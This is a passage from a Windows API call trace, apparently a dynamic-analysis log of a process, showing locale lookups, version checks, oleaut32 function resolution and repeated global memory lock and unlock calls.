hInstance=0x400000, uID=0xfff6, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0168.544] LoadStringA (in: hInstance=0x400000, uID=0xfff5, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0168.554] VirtualAlloc (lpAddress=0x0, dwSize=0x13fff0, flAllocationType=0x1000, flProtect=0x4) returned 0x3db0000 [0168.555] LoadStringA (in: hInstance=0x400000, uID=0xfff3, lpBuffer=0x19e2a8, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0168.555] LoadStringA (in: hInstance=0x400000, uID=0xffe3, lpBuffer=0x19e2a8, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0168.555] GetVersionExA (in: lpVersionInformation=0x19f240*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xffffffff, dwMinorVersion=0x19f264, dwBuildNumber=0x0, dwPlatformId=0x19f260, szCSDVersion="") | out: lpVersionInformation=0x19f240*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0168.555] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0168.555] GetProcAddress (hModule=0x75e90000, lpProcName="GetDiskFreeSpaceExA") returned 0x75efee90 [0168.555] GetThreadLocale () returned 0x409 [0168.555] GetSystemMetrics (nIndex=42) returned 0 [0168.555] GetThreadLocale () returned 0x409 [0168.555] GetLocaleInfoA (in: Locale=0x409, LCType=0x44, lpLCData=0x19f118, cchData=256 | out: lpLCData="Jan") returned 4 [0168.555] GetLocaleInfoA (in: Locale=0x409, LCType=0x38, lpLCData=0x19f118, cchData=256 | out: lpLCData="January") returned 8 [0168.555] GetLocaleInfoA (in: Locale=0x409, LCType=0x45, lpLCData=0x19f118, cchData=256 | out: lpLCData="Feb") returned 4 [0168.556] GetLocaleInfoA (in: Locale=0x409, LCType=0x39, lpLCData=0x19f118, cchData=256 | out: lpLCData="February") returned 9 [0168.556] GetLocaleInfoA (in: Locale=0x409, LCType=0x46, lpLCData=0x19f118, cchData=256 | out: lpLCData="Mar") returned 4 [0168.556] GetLocaleInfoA (in: Locale=0x409, LCType=0x3a, lpLCData=0x19f118, cchData=256 | out: lpLCData="March") returned 6 [0168.556] GetLocaleInfoA (in: Locale=0x409, LCType=0x47, lpLCData=0x19f118, cchData=256 | out: lpLCData="Apr") returned 4 [0168.556] GetLocaleInfoA (in: Locale=0x409, LCType=0x3b, lpLCData=0x19f118, cchData=256 | out: lpLCData="April") returned 6 [0168.556] GetLocaleInfoA (in: Locale=0x409, LCType=0x48, lpLCData=0x19f118, cchData=256 | out: lpLCData="May") returned 4 [0168.556] GetLocaleInfoA (in: Locale=0x409, LCType=0x3c, lpLCData=0x19f118, cchData=256 | out: lpLCData="May") returned 4 [0168.556] GetLocaleInfoA (in: Locale=0x409, LCType=0x49, lpLCData=0x19f118, cchData=256 | out: lpLCData="Jun") returned 4 [0168.556] GetLocaleInfoA (in: Locale=0x409, LCType=0x3d, lpLCData=0x19f118, cchData=256 | out: lpLCData="June") returned 5 [0168.556] GetLocaleInfoA (in: Locale=0x409, LCType=0x4a, lpLCData=0x19f118, cchData=256 | out: lpLCData="Jul") returned 4 [0168.556] GetLocaleInfoA (in: Locale=0x409, LCType=0x3e, lpLCData=0x19f118, cchData=256 | out: lpLCData="July") returned 5 [0168.556] GetLocaleInfoA (in: Locale=0x409, LCType=0x4b, lpLCData=0x19f118, cchData=256 | out: lpLCData="Aug") returned 4 [0168.556] GetLocaleInfoA (in: Locale=0x409, LCType=0x3f, lpLCData=0x19f118, cchData=256 | out: lpLCData="August") returned 7 [0168.556] GetLocaleInfoA (in: Locale=0x409, LCType=0x4c, lpLCData=0x19f118, cchData=256 | out: lpLCData="Sep") returned 4 [0168.556] GetLocaleInfoA (in: Locale=0x409, LCType=0x40, lpLCData=0x19f118, cchData=256 | out: lpLCData="September") returned 10 [0168.556] GetLocaleInfoA (in: Locale=0x409, LCType=0x4d, lpLCData=0x19f118, cchData=256 | out: lpLCData="Oct") returned 4 [0168.556] GetLocaleInfoA (in: Locale=0x409, LCType=0x41, lpLCData=0x19f118, cchData=256 | out: lpLCData="October") returned 8 [0168.556] GetLocaleInfoA (in: Locale=0x409, LCType=0x4e, lpLCData=0x19f118, cchData=256 | out: lpLCData="Nov") returned 4 [0168.556] GetLocaleInfoA (in: Locale=0x409, LCType=0x42, lpLCData=0x19f118, cchData=256 | out: lpLCData="November") returned 9 [0168.556] GetLocaleInfoA (in: Locale=0x409, LCType=0x4f, lpLCData=0x19f118, cchData=256 | out: lpLCData="Dec") returned 4 [0168.556] GetLocaleInfoA (in: Locale=0x409, LCType=0x43, lpLCData=0x19f118, cchData=256 | out: lpLCData="December") returned 9 [0168.556] GetLocaleInfoA (in: Locale=0x409, LCType=0x37, lpLCData=0x19f118, cchData=256 | out: lpLCData="Sun") returned 4 [0168.556] GetLocaleInfoA (in: Locale=0x409, LCType=0x30, lpLCData=0x19f118, cchData=256 | out: lpLCData="Sunday") returned 7 [0168.556] GetLocaleInfoA (in: Locale=0x409, LCType=0x31, lpLCData=0x19f118, cchData=256 | out: lpLCData="Mon") returned 4 [0168.556] GetLocaleInfoA (in: Locale=0x409, LCType=0x2a, lpLCData=0x19f118, cchData=256 | out: lpLCData="Monday") returned 7 [0168.556] GetLocaleInfoA (in: Locale=0x409, LCType=0x32, lpLCData=0x19f118, cchData=256 | out: lpLCData="Tue") returned 4 [0168.556] GetLocaleInfoA (in: Locale=0x409, LCType=0x2b, lpLCData=0x19f118, cchData=256 | out: lpLCData="Tuesday") returned 8 [0168.556] GetLocaleInfoA (in: Locale=0x409, LCType=0x33, lpLCData=0x19f118, cchData=256 | out: lpLCData="Wed") returned 4 [0168.556] GetLocaleInfoA (in: Locale=0x409, LCType=0x2c, lpLCData=0x19f118, cchData=256 | out: lpLCData="Wednesday") returned 10 [0168.556] GetLocaleInfoA (in: Locale=0x409, LCType=0x34, lpLCData=0x19f118, cchData=256 | out: lpLCData="Thu") returned 4 [0168.556] GetLocaleInfoA (in: Locale=0x409, LCType=0x2d, lpLCData=0x19f118, cchData=256 | out: lpLCData="Thursday") returned 9 [0168.557] GetLocaleInfoA (in: Locale=0x409, LCType=0x35, lpLCData=0x19f118, cchData=256 | out: lpLCData="Fri") returned 4 [0168.557] GetLocaleInfoA (in: Locale=0x409, LCType=0x2e, lpLCData=0x19f118, cchData=256 | out: lpLCData="Friday") returned 7 [0168.557] GetLocaleInfoA (in: Locale=0x409, LCType=0x36, lpLCData=0x19f118, cchData=256 | out: lpLCData="Sat") returned 4 [0168.557] GetLocaleInfoA (in: Locale=0x409, LCType=0x2f, lpLCData=0x19f118, cchData=256 | out: lpLCData="Saturday") returned 9 [0168.557] GetThreadLocale () returned 0x409 [0168.557] GetLocaleInfoA (in: Locale=0x409, LCType=0x14, lpLCData=0x19f174, cchData=256 | out: lpLCData="$") returned 2 [0168.557] GetLocaleInfoA (in: Locale=0x409, LCType=0x1b, lpLCData=0x19f174, cchData=256 | out: lpLCData="0") returned 2 [0168.563] GetLocaleInfoA (in: Locale=0x409, LCType=0x1c, lpLCData=0x19f174, cchData=256 | out: lpLCData="0") returned 2 [0168.563] GetLocaleInfoA (in: Locale=0x409, LCType=0xf, lpLCData=0x19f26c, cchData=2 | out: lpLCData=",") returned 2 [0168.563] GetLocaleInfoA (in: Locale=0x409, LCType=0xe, lpLCData=0x19f26c, cchData=2 | out: lpLCData=".") returned 2 [0168.563] GetLocaleInfoA (in: Locale=0x409, LCType=0x19, lpLCData=0x19f174, cchData=256 | out: lpLCData="2") returned 2 [0168.563] GetLocaleInfoA (in: Locale=0x409, LCType=0x1d, lpLCData=0x19f26c, cchData=2 | out: lpLCData="/") returned 2 [0168.563] GetLocaleInfoA (in: Locale=0x409, LCType=0x1f, lpLCData=0x19f174, cchData=256 | out: lpLCData="M/d/yyyy") returned 9 [0168.563] GetThreadLocale () returned 0x409 [0168.563] GetLocaleInfoA (in: Locale=0x409, LCType=0x1009, lpLCData=0x19f140, cchData=256 | out: lpLCData="1") returned 2 [0168.563] GetLocaleInfoA (in: Locale=0x409, LCType=0x20, lpLCData=0x19f174, cchData=256 | out: lpLCData="dddd, MMMM d, yyyy") returned 19 [0168.563] GetThreadLocale () returned 0x409 [0168.563] GetLocaleInfoA (in: Locale=0x409, LCType=0x1009, lpLCData=0x19f140, cchData=256 | out: lpLCData="1") returned 2 [0168.563] GetLocaleInfoA (in: Locale=0x409, LCType=0x1e, lpLCData=0x19f26c, cchData=2 | out: lpLCData=":") returned 2 [0168.563] GetLocaleInfoA (in: Locale=0x409, LCType=0x28, lpLCData=0x19f174, cchData=256 | out: lpLCData="AM") returned 3 [0168.563] GetLocaleInfoA (in: Locale=0x409, LCType=0x29, lpLCData=0x19f174, cchData=256 | out: lpLCData="PM") returned 3 [0168.563] GetLocaleInfoA (in: Locale=0x409, LCType=0x25, lpLCData=0x19f174, cchData=256 | out: lpLCData="0") returned 2 [0168.563] GetLocaleInfoA (in: Locale=0x409, LCType=0x23, lpLCData=0x19f174, cchData=256 | out: lpLCData="0") returned 2 [0168.563] GetLocaleInfoA (in: Locale=0x409, LCType=0x1005, lpLCData=0x19f174, cchData=256 | out: lpLCData="0") returned 2 [0168.563] GetLocaleInfoA (in: Locale=0x409, LCType=0xc, lpLCData=0x19f26c, cchData=2 | out: lpLCData=",") returned 2 [0168.577] QueryPerformanceCounter (in: lpPerformanceCount=0x19f2c8 | out: lpPerformanceCount=0x19f2c8*=17188009373) returned 1 [0168.612] GetModuleHandleA (lpModuleName="oleaut32.dll") returned 0x75bb0000 [0168.612] GetProcAddress (hModule=0x75bb0000, lpProcName="VariantChangeTypeEx") returned 0x75bca610 [0168.613] GetProcAddress (hModule=0x75bb0000, lpProcName="VarNeg") returned 0x75c152c0 [0168.613] GetProcAddress (hModule=0x75bb0000, lpProcName="VarNot") returned 0x75c16560 [0168.613] GetProcAddress (hModule=0x75bb0000, lpProcName="VarAdd") returned 0x75bed610 [0168.613] GetProcAddress (hModule=0x75bb0000, lpProcName="VarSub") returned 0x75bee3e0 [0168.613] GetProcAddress (hModule=0x75bb0000, lpProcName="VarMul") returned 0x75bedb10 [0168.613] GetProcAddress (hModule=0x75bb0000, lpProcName="VarDiv") returned 0x75c15800 [0168.613] GetProcAddress (hModule=0x75bb0000, lpProcName="VarIdiv") returned 0x75c161a0 [0168.614] GetProcAddress (hModule=0x75bb0000, lpProcName="VarMod") returned 0x75c16400 [0168.614] GetProcAddress (hModule=0x75bb0000, lpProcName="VarAnd") returned 0x75be3200 [0168.614] GetProcAddress (hModule=0x75bb0000, lpProcName="VarOr") returned 0x75c16610 [0168.614] GetProcAddress (hModule=0x75bb0000, lpProcName="VarXor") returned 0x75c167b0 [0168.614] GetProcAddress (hModule=0x75bb0000, lpProcName="VarCmp") returned 0x75bd60b0 [0168.614] GetProcAddress (hModule=0x75bb0000, lpProcName="VarI4FromStr") returned 0x75bd6ec0 [0168.614] GetProcAddress (hModule=0x75bb0000, lpProcName="VarR4FromStr") returned 0x75be3010 [0168.614] GetProcAddress (hModule=0x75bb0000, lpProcName="VarR8FromStr") returned 0x75be3630 [0168.615] GetProcAddress (hModule=0x75bb0000, lpProcName="VarDateFromStr") returned 0x75bd8b90 [0168.615] GetProcAddress (hModule=0x75bb0000, lpProcName="VarCyFromStr") returned 0x75bc2d90 [0168.615] GetProcAddress (hModule=0x75bb0000, lpProcName="VarBoolFromStr") returned 0x75bd48f0 [0168.615] GetProcAddress (hModule=0x75bb0000, lpProcName="VarBstrFromCy") returned 0x75bd7f50 [0168.615] GetProcAddress (hModule=0x75bb0000, lpProcName="VarBstrFromDate") returned 0x75bd89c0 [0168.615] GetProcAddress (hModule=0x75bb0000, lpProcName="VarBstrFromBool") returned 0x75bd48a0 [0168.633] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.633] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.633] GlobalUnlock (hMem=0x2150004) returned 0 [0168.633] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.652] GlobalLock (hMem=0x215000c) returned 0x3c8c748 [0168.652] GlobalHandle (pMem=0x3c8c748) returned 0x215000c [0168.653] GlobalUnlock (hMem=0x215000c) returned 0 [0168.653] GlobalReAlloc (hMem=0x215000c, dwBytes=0x4000, uFlags=0x2) returned 0x215000c [0168.653] GlobalLock (hMem=0x215000c) returned 0x3c8c748 [0168.653] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.653] GlobalUnlock (hMem=0x2150004) returned 0 [0168.653] GlobalHandle (pMem=0x3c8c748) returned 0x215000c [0168.653] GlobalUnlock (hMem=0x215000c) returned 0 [0168.654] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.654] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.654] GlobalUnlock (hMem=0x215000c) returned 0 [0168.654] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.654] GlobalLock (hMem=0x2150004) returned 0x3c8a748 [0168.654] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.654] GlobalUnlock (hMem=0x215000c) returned 0 [0168.654] GlobalHandle (pMem=0x3c8a748) returned 0x2150004 [0168.654] GlobalUnlock (hMem=0x2150004) returned 0 [0168.654] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.654] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.654] GlobalUnlock (hMem=0x2150004) returned 0 [0168.654] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.654] GlobalLock (hMem=0x215000c) returned 0x3c8a748 [0168.654] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.654] GlobalUnlock (hMem=0x2150004) returned 0 [0168.654] GlobalHandle (pMem=0x3c8a748) returned 0x215000c [0168.654] GlobalUnlock (hMem=0x215000c) returned 0 [0168.654] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.654] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.654] GlobalUnlock (hMem=0x215000c) returned 0 [0168.654] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.654] GlobalLock (hMem=0x2150004) returned 0x3c8a748 [0168.654] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.654] GlobalUnlock (hMem=0x215000c) returned 0 [0168.654] GlobalHandle (pMem=0x3c8a748) returned 0x2150004 [0168.654] GlobalUnlock (hMem=0x2150004) returned 0 [0168.654] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.654] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.654] GlobalUnlock (hMem=0x2150004) returned 0 [0168.654] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.655] GlobalLock (hMem=0x215000c) returned 0x3c8a748 [0168.655] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.655] GlobalUnlock (hMem=0x2150004) returned 0 [0168.655] GlobalHandle (pMem=0x3c8a748) returned 0x215000c [0168.655] GlobalUnlock (hMem=0x215000c) returned 0 [0168.655] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.655] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.655] GlobalUnlock (hMem=0x215000c) returned 0 [0168.655] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.655] GlobalLock (hMem=0x2150004) returned 0x3c8a748 [0168.655] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.655] GlobalUnlock (hMem=0x215000c) returned 0 [0168.655] GlobalHandle (pMem=0x3c8a748) returned 0x2150004 [0168.655] GlobalUnlock (hMem=0x2150004) returned 0 [0168.655] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.655] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.655] GlobalUnlock (hMem=0x2150004) returned 0 [0168.655] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.655] GlobalLock (hMem=0x215000c) returned 0x3c8a748 [0168.655] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.655] GlobalUnlock (hMem=0x2150004) returned 0 [0168.655] GlobalHandle (pMem=0x3c8a748) returned 0x215000c [0168.655] GlobalUnlock (hMem=0x215000c) returned 0 [0168.655] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.655] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.655] GlobalUnlock (hMem=0x215000c) returned 0 [0168.655] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.655] GlobalLock (hMem=0x2150004) returned 0x3c8a748 [0168.655] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.655] GlobalUnlock (hMem=0x215000c) returned 0 [0168.655] GlobalHandle (pMem=0x3c8a748) returned 0x2150004 [0168.655] GlobalUnlock (hMem=0x2150004) returned 0 [0168.656] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.656] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.656] GlobalUnlock (hMem=0x2150004) returned 0 [0168.656] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.656] GlobalLock (hMem=0x215000c) returned 0x3c8a748 [0168.656] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.656] GlobalUnlock (hMem=0x2150004) returned 0 [0168.656] GlobalHandle (pMem=0x3c8a748) returned 0x215000c [0168.656] GlobalUnlock (hMem=0x215000c) returned 0 [0168.656] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.656] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.656] GlobalUnlock (hMem=0x215000c) returned 0 [0168.656] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.656] GlobalLock (hMem=0x2150004) returned 0x3c8a748 [0168.656] GlobalHandle (pMem=0x3c8a748) returned 0x2150004 [0168.656] GlobalUnlock (hMem=0x2150004) returned 0 [0168.656] GlobalReAlloc (hMem=0x2150004, dwBytes=0x10, uFlags=0x2) returned 0x2150004 [0168.656] GlobalLock (hMem=0x2150004) returned 0x3c8a748 [0168.656] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.656] GlobalUnlock (hMem=0x215000c) returned 0 [0168.656] GlobalHandle (pMem=0x3c8a748) returned 0x2150004 [0168.656] GlobalUnlock (hMem=0x2150004) returned 0 [0168.656] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.656] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.656] GlobalUnlock (hMem=0x2150004) returned 0 [0168.656] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.656] GlobalLock (hMem=0x215000c) returned 0x3c8a748 [0168.656] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.656] GlobalUnlock (hMem=0x2150004) returned 0 [0168.656] GlobalHandle (pMem=0x3c8a748) returned 0x215000c [0168.656] GlobalUnlock (hMem=0x215000c) returned 0 [0168.657] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.657] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.657] GlobalUnlock (hMem=0x215000c) returned 0 [0168.657] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.657] GlobalLock (hMem=0x2150004) returned 0x3c8a748 [0168.657] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.657] GlobalUnlock (hMem=0x215000c) returned 0 [0168.657] GlobalHandle (pMem=0x3c8a748) returned 0x2150004 [0168.657] GlobalUnlock (hMem=0x2150004) returned 0 [0168.657] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.657] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.657] GlobalUnlock (hMem=0x2150004) returned 0 [0168.657] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.657] GlobalLock (hMem=0x215000c) returned 0x3c8a748 [0168.657] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.657] GlobalUnlock (hMem=0x2150004) returned 0 [0168.657] GlobalHandle (pMem=0x3c8a748) returned 0x215000c [0168.657] GlobalUnlock (hMem=0x215000c) returned 0 [0168.657] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.657] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.657] GlobalUnlock (hMem=0x215000c) returned 0 [0168.657] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.657] GlobalLock (hMem=0x2150004) returned 0x3c8a748 [0168.657] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.657] GlobalUnlock (hMem=0x215000c) returned 0 [0168.657] GlobalHandle (pMem=0x3c8a748) returned 0x2150004 [0168.657] GlobalUnlock (hMem=0x2150004) returned 0 [0168.658] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.658] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.658] GlobalUnlock (hMem=0x2150004) returned 0 [0168.658] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.658] GlobalLock (hMem=0x215000c) returned 0x3c8a748 [0168.658] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.658] GlobalUnlock (hMem=0x2150004) returned 0 [0168.658] GlobalHandle (pMem=0x3c8a748) returned 0x215000c [0168.658] GlobalUnlock (hMem=0x215000c) returned 0 [0168.658] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.658] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.658] GlobalUnlock (hMem=0x215000c) returned 0 [0168.658] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.658] GlobalLock (hMem=0x2150004) returned 0x3c8a748 [0168.658] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.658] GlobalUnlock (hMem=0x215000c) returned 0 [0168.706] GlobalHandle (pMem=0x3c8a748) returned 0x2150004 [0168.706] GlobalUnlock (hMem=0x2150004) returned 0 [0168.706] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.706] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.706] GlobalUnlock (hMem=0x2150004) returned 0 [0168.706] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.706] GlobalLock (hMem=0x215000c) returned 0x3c8a748 [0168.706] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.707] GlobalUnlock (hMem=0x2150004) returned 0 [0168.707] GlobalHandle (pMem=0x3c8a748) returned 0x215000c [0168.707] GlobalUnlock (hMem=0x215000c) returned 0 [0168.707] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.707] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.707] GlobalUnlock (hMem=0x215000c) returned 0 [0168.707] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.707] GlobalLock (hMem=0x2150004) returned 0x3c8a748 [0168.707] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.707] GlobalUnlock (hMem=0x215000c) returned 0 [0168.707] GlobalHandle (pMem=0x3c8a748) returned 0x2150004 [0168.707] GlobalUnlock (hMem=0x2150004) returned 0 [0168.707] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.707] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.707] GlobalUnlock (hMem=0x2150004) returned 0 [0168.707] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.707] GlobalLock (hMem=0x215000c) returned 0x3c8a748 [0168.707] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.707] GlobalUnlock (hMem=0x2150004) returned 0 [0168.707] GlobalHandle (pMem=0x3c8a748) returned 0x215000c [0168.707] GlobalUnlock (hMem=0x215000c) returned 0 [0168.707] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.707] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.707] GlobalUnlock (hMem=0x215000c) returned 0 [0168.707] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.707] GlobalLock (hMem=0x2150004) returned 0x3c8a748 [0168.707] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.707] GlobalUnlock (hMem=0x215000c) returned 0 [0168.707] GlobalHandle (pMem=0x3c8a748) returned 0x2150004 [0168.707] GlobalUnlock (hMem=0x2150004) returned 0 [0168.707] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.707] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.707] GlobalUnlock (hMem=0x2150004) returned 0 [0168.707] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.708] GlobalLock (hMem=0x215000c) returned 0x3c8a748 [0168.708] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.708] GlobalUnlock (hMem=0x2150004) returned 0 [0168.708] GlobalHandle (pMem=0x3c8a748) returned 0x215000c [0168.708] GlobalUnlock (hMem=0x215000c) returned 0 [0168.708] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.708] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.708] GlobalUnlock (hMem=0x215000c) returned 0 [0168.708] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.708] GlobalLock (hMem=0x2150004) returned 0x3c8a748 [0168.708] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.708] GlobalUnlock (hMem=0x215000c) returned 0 [0168.708] GlobalHandle (pMem=0x3c8a748) returned 0x2150004 [0168.708] GlobalUnlock (hMem=0x2150004) returned 0 [0168.708] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.708] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.708] GlobalUnlock (hMem=0x2150004) returned 0 [0168.708] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.708] GlobalLock (hMem=0x215000c) returned 0x3c8a748 [0168.708] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.708] GlobalUnlock (hMem=0x2150004) returned 0 [0168.708] GlobalHandle (pMem=0x3c8a748) returned 0x215000c [0168.708] GlobalUnlock (hMem=0x215000c) returned 0 [0168.708] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.708] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.708] GlobalUnlock (hMem=0x215000c) returned 0 [0168.708] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.708] GlobalLock (hMem=0x2150004) returned 0x3c8a748 [0168.708] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.708] GlobalUnlock (hMem=0x215000c) returned 0 [0168.708] GlobalHandle (pMem=0x3c8a748) returned 0x2150004 [0168.708] GlobalUnlock (hMem=0x2150004) returned 0 [0168.709] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.709] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.709] GlobalUnlock (hMem=0x2150004) returned 0 [0168.709] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.709] GlobalLock (hMem=0x215000c) returned 0x3c8a748 [0168.709] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.709] GlobalUnlock (hMem=0x2150004) returned 0 [0168.709] GlobalHandle (pMem=0x3c8a748) returned 0x215000c [0168.709] GlobalUnlock (hMem=0x215000c) returned 0 [0168.709] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.709] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.709] GlobalUnlock (hMem=0x215000c) returned 0 [0168.709] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.709] GlobalLock (hMem=0x2150004) returned 0x3c8a748 [0168.709] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.709] GlobalUnlock (hMem=0x215000c) returned 0 [0168.709] GlobalHandle (pMem=0x3c8a748) returned 0x2150004 [0168.709] GlobalUnlock (hMem=0x2150004) returned 0 [0168.709] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.709] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.709] GlobalUnlock (hMem=0x2150004) returned 0 [0168.709] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.709] GlobalLock (hMem=0x215000c) returned 0x3c8a748 [0168.709] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.709] GlobalUnlock (hMem=0x2150004) returned 0 [0168.709] GlobalHandle (pMem=0x3c8a748) returned 0x215000c [0168.709] GlobalUnlock (hMem=0x215000c) returned 0 [0168.709] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.710] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.710] GlobalUnlock (hMem=0x215000c) returned 0 [0168.710] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.710] GlobalLock (hMem=0x2150004) returned 0x3c8a748 [0168.710] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.710] GlobalUnlock (hMem=0x215000c) returned 0 [0168.710] GlobalHandle (pMem=0x3c8a748) returned 0x2150004 [0168.710] GlobalUnlock (hMem=0x2150004) returned 0 [0168.710] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.710] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.710] GlobalUnlock (hMem=0x2150004) returned 0 [0168.710] GlobalLock (hMem=0x2150004) returned 0x3c88738 [0168.710] GlobalLock (hMem=0x215000c) returned 0x3c8a748 [0168.710] GlobalHandle (pMem=0x3c88738) returned 0x2150004 [0168.710] GlobalUnlock (hMem=0x2150004) returned 0 [0168.710] GlobalHandle (pMem=0x3c8a748) returned 0x215000c [0168.710] GlobalUnlock (hMem=0x215000c) returned 0 [0168.710] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.710] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.710] GlobalUnlock (hMem=0x215000c) returned 0 [0168.710] GlobalLock (hMem=0x215000c) returned 0x3c88738 [0168.710] GlobalLock (hMem=0x2150004) returned 0x3c8a748 [0168.710] GlobalHandle (pMem=0x3c88738) returned 0x215000c [0168.710] GlobalUnlock (hMem=0x215000c) 